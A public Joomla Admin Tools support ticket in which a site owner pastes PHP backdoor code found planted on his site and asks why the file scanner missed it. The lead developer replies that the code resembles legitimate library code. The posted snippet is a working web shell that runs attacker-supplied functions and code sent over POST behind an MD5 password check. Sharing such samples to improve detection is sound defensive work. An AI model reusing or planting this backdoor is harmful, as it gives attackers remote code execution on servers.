Admin Tools

#26535 Discovered attack code

Posted in ‘Admin Tools for Joomla! 4 & 5’

This is a public ticket

Everybody will be able to see its contents. Do not include usernames, passwords or any other sensitive information.

Environment Information

Joomla! version

n/a

PHP version

n/a

Admin Tools version

n/a

Latest post by on Sunday, 11 December 2016 17:17 CST

Friday, 11 November 2016 10:28 CST

Seneschul

An accursed attacker added the following code to my site:

if(isset($_POST["php_func"]) && md5($_POST["php_md5"])==="89ae1ff851c7286126070e49ace5eefe"){@$_POST["php_func"](stripslashes($_POST["php_code"]));};
if(isset($_SERVER["HTTP_USER_AGENT"])){$_SERVER["HTTP_USER_AGENT"]=@preg_replace("/[^\w\-\.]+/is","_",$_SERVER["HTTP_USER_AGENT"]);}
if(isset($_SERVER["HTTP_X_FORWARDED_FOR"])){$_SERVER["HTTP_X_FORWARDED_FOR"]=@preg_replace("/[^\d\.]+/is","",$_SERVER["HTTP_X_FORWARDED_FOR"]);}

The php file scanner did not flag this as bad code, although it feels like this is something the php file scanner should have been able to notice.

Just looking to share the bad crap I find with you to help improve the product - I love it!

Jason

Friday, 11 November 2016 12:34 CST

nicholas

The PHP File Change Scanner cannot detect this as malicious code since it's very similar to legitimate code. Access to superglobals ($_POST and $_SERVER) is typical of library code. Likewise, preg_replace is used everywhere. If we were to add these constructs as malicious code you'd end up with a lot of false positives. Most importantly, you'd end up with pretty much half of Joomla's "libraries" folder being marked as suspicious.

Nicholas K. Dionysopoulos

Lead Developer and Director

🇬🇷Greek: native 🇬🇧English: excellent 🇫🇷French: basic • 🕐 My time zone is Europe / Athens
Please keep in mind my timezone and cultural differences when reading my replies. Thank you!

Sunday, 11 December 2016 17:17 CST

System Task

system

This ticket has been automatically closed. All tickets which have been inactive for a long time are automatically closed. If you believe that this ticket was closed in error, please contact us.

Edited by on 2016-12-11 17:17 CST

Support